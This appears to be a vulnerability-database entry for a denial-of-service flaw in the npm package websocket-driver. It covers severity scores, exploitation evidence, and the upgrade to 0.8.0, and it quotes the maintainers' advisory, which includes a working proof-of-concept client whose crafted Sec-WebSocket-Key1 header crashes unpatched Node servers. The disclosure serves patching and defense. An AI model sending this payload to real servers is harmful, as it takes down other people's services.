CVE-2026-140003: websocket-driver · Denial of service triggered by malformed Sec-WebSocket-Key1 header
Affects websocket-driverSource GCVE Database
Not known to be exploited · CVSS 7.5 High : upgrade to 0.8.0 soon.
Data as of 1 Dec 2026, 19:00 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 7.5 |
|---|
- Patch
- Available – fixed in 0.8.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExploitation evidence
Disclosed: evidence found.
CVE published 30 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Dec 2026.
What to do
Upgrade websocket-driver to 0.8.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmwebsocket-driver | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket draft76 handshake with specially crafted headers. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. The `draft76` version's handshake involves the client sending two headers named `Sec-WebSocket-Key1` and `Sec-WebSocket-Key2`. A value is derived from each of these by extracting digits from them and dividing this value by the number of spaces in the header string. The derived values are each written into a buffer which is then hashed, and this process expects the values to fit inside 32 bits. If the values are larger than 32 bits, this triggers an exception in Node's `Buffer` module and this causes the process to crash. To mitigate this, the driver has been fixed to reject values that are too large, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft76 handshake, with a specially constructed `Sec-WebSocket-Key1` header: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', 'Sec-WebSocket-Key1: 858 993 4592', 'Sec-WebSocket-Key2: 1 1', '', '12345678' ].join('\r\n')) }) ``` This will cause the server to crash on Node.js v22 and below. ### Impact An unauthenticated remote attacker can crash any Node.js process that accepts WebSocket upgrades through by sending a single HTTP request with a draft76 `Sec-WebSocket-Key1` header whose derived value exceeds 32 bits in size.
References
- github.com/faye/websocket-driver-node/security/advisories/GHSA-c4gv-fww2-jp3r (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-140003 (opens in a new tab)
- github.com/faye/websocket-driver-node/commit/851117d21fa8eb98f22856b5600e0688c5337214 (opens in a new tab)
- github.com/faye/websocket-driver-node (opens in a new tab)